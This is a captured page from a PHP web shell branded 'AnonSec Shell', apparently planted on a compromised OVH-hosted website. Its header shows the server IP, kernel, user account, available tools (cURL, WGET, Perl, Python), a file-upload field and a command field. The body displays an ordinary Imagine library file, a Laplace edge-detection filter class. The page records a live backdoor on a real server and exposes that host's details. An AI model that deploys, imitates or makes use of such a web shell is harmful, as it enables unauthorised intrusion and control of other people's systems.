AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/nice/libraries/CBLib/Imagine/Filter/Advanced/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/nice/libraries/CBLib/Imagine/Filter/Advanced/BorderDetection.php
<?php

/*
 * This file is part of the Imagine package.
 *
 * (c) Bulat Shakirzyanov <mallluhuct@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Imagine\Filter\Advanced;

use Imagine\Exception\InvalidArgumentException;
use Imagine\Filter\FilterInterface;
use Imagine\Utils\Matrix;

/**
 * BorderDetection based on Laplace-Operator. Three different variants are offered:.
 * <code><pre>
 *   First          Second            Third
 *  0,  1, 0       1,  1, 1,       -1,  2, -1,
 *  1, -4, 1  and  1, -8, 1,  and   2, -4,  2,
 *  0,  1, 0       1,  1, 1        -1,  2, -1
 * </pre></code>.
 *
 * Consider to apply this filter on a grayscaled image.
 */
class BorderDetection extends Neighborhood implements FilterInterface
{
    /**
     * First variant of the detection matrix.
     *
     * @var int
     */
    const VARIANT_ONE = 0;

    /**
     * Second variant of the detection matrix.
     *
     * @var int
     */
    const VARIANT_TWO = 1;

    /**
     * Third variant of the detection matrix.
     *
     * @var int
     */
    const VARIANT_THREE = 2;

    /**
     * Initialize this filter.
     *
     * @param int $variant One of the BorderDetection::VARIANT_... constants.
     *
     * @throws \Imagine\Exception\InvalidArgumentException throws an InvalidArgumentException if $variant is not valid
     */
    public function __construct($variant = self::VARIANT_ONE)
    {
        $matrix = null;

        switch ($variant) {
            case self::VARIANT_ONE:
                $matrix = new Matrix(3, 3, array(
                    0,  1, 0,
                    1, -4, 1,
                    0,  1, 0,
                ));
                break;
            case self::VARIANT_TWO:
                $matrix = new Matrix(3, 3, array(
                    1,  1, 1,
                    1, -8, 1,
                    1,  1, 1,
                ));
                break;
            case self::VARIANT_THREE:
                $matrix = new Matrix(3, 3, array(
                    -1,  2, -1,
                    2, -4,  2,
                    -1,  2, -1,
                ));
                break;
            default:
                throw new InvalidArgumentException('Unknown variant ' . $variant);
        }

        parent::__construct($matrix);
    }
}

Anon7 - 2022
AnonSec Team